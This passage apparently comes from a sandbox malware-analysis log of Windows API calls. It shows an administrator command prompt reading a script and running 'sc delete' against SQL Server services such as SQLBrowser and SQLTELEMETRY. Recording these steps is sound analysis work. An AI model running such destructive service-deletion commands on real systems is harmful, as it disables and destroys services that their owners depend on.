lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.418] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLBrowser\nENT\n\nce\n") returned 1 [0069.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.419] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.419] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.419] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLBrowser\nENT\n\nce\n") returned 1 [0069.419] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.419] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.419] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.419] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete SQLBrowser\nENT\n\nce\n") returned 1 [0069.419] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.419] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.419] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.419] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete SQLBrowser\nENT\n\nce\n") returned 1 [0069.419] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.419] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.419] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.419] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLBrowser\nENT\n\nce\n") returned 1 [0069.419] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.419] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.419] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.419] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLBrowser\nENT\n\nce\n") returned 1 [0069.419] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.419] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.419] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.419] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te SQLBrowser\nENT\n\nce\n") returned 1 [0069.419] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.419] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.420] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.420] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e SQLBrowser\nENT\n\nce\n") returned 1 [0069.420] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.420] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.420] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.420] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" SQLBrowser\nENT\n\nce\n") returned 1 [0069.420] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.420] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.420] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.420] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="SQLBrowser\nENT\n\nce\n") returned 1 [0069.420] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.420] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.420] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.420] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="QLBrowser\nENT\n\nce\n") returned 1 [0069.420] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.420] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.420] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.420] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="LBrowser\nENT\n\nce\n") returned 1 [0069.420] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.420] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.420] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.420] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="Trowser\nENT\n\nce\n") returned 1 [0069.420] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.420] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.421] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.421] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="Eowser\nENT\n\nce\n") returned 1 [0069.421] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.421] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.421] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.421] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="Lwser\nENT\n\nce\n") returned 1 [0069.421] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.421] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.421] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.421] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="Eser\nENT\n\nce\n") returned 1 [0069.421] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.421] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.421] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.421] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Mer\nENT\n\nce\n") returned 1 [0069.421] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.421] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.421] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.421] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="Er\nENT\n\nce\n") returned 1 [0069.421] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.421] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.421] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.422] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="T\nENT\n\nce\n") returned 1 [0069.422] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.422] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.422] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.422] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="RENT\n\nce\n") returned 1 [0069.422] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.422] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.422] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.422] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="YNT\n\nce\n") returned 1 [0069.422] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.422] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.422] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.422] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="\nT\n\nce\n") returned 1 [0069.422] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.422] GetFileType (hFile=0xb8) returned 0x3 [0069.422] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.422] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.422] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.422] GetFileType (hFile=0x120) returned 0x3 [0069.422] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLTELEMETRY\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLTELEMETRY\n", lpUsedDefaultChar=0x0) returned 24 [0069.423] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x17, lpOverlapped=0x0) returned 1 [0069.423] GetProcessHeap () returned 0x4a0000 [0069.423] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c6630 [0069.423] GetProcessHeap () returned 0x4a0000 [0069.423] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c6630 | out: hHeap=0x4a0000) returned 1 [0069.423] GetProcessHeap () returned 0x4a0000 [0069.423] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0069.423] GetProcessHeap () returned 0x4a0000 [0069.423] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0069.423] GetProcessHeap () returned 0x4a0000 [0069.423] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3a) returned 0x4baa40 [0069.423] GetConsoleOutputCP () returned 0x1b5 [0069.423] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.423] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.423] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4baa90 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0069.424] SetErrorMode (uMode=0x0) returned 0x1 [0069.424] SetErrorMode (uMode=0x1) returned 0x0 [0069.424] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0069.424] SetErrorMode (uMode=0x1) returned 0x1 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0069.424] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0069.424] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0069.424] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.424] GetProcessHeap () returned 0x4a0000 [0069.424] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0069.425] GetProcessHeap () returned 0x4a0000 [0069.425] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0069.425] GetProcessHeap () returned 0x4a0000 [0069.425] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0069.425] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.425] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.425] GetLastError () returned 0x2 [0069.425] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.425] GetLastError () returned 0x2 [0069.425] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.425] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.426] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.426] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.426] GetLastError () returned 0x2 [0069.426] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.426] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.426] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0069.426] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0069.426] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.426] GetProcessHeap () returned 0x4a0000 [0069.426] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0069.426] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.426] GetProcessHeap () returned 0x4a0000 [0069.426] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa6) returned 0x4b9180 [0069.426] GetProcessHeap () returned 0x4a0000 [0069.426] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa6 [0069.427] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLTELEMETRY") returned 1 [0069.427] GetProcessHeap () returned 0x4a0000 [0069.427] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0069.427] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0069.427] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0069.427] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0069.427] GetProcessHeap () returned 0x4a0000 [0069.427] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0069.427] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0069.427] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0069.427] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0069.427] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0069.427] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.427] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.428] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) 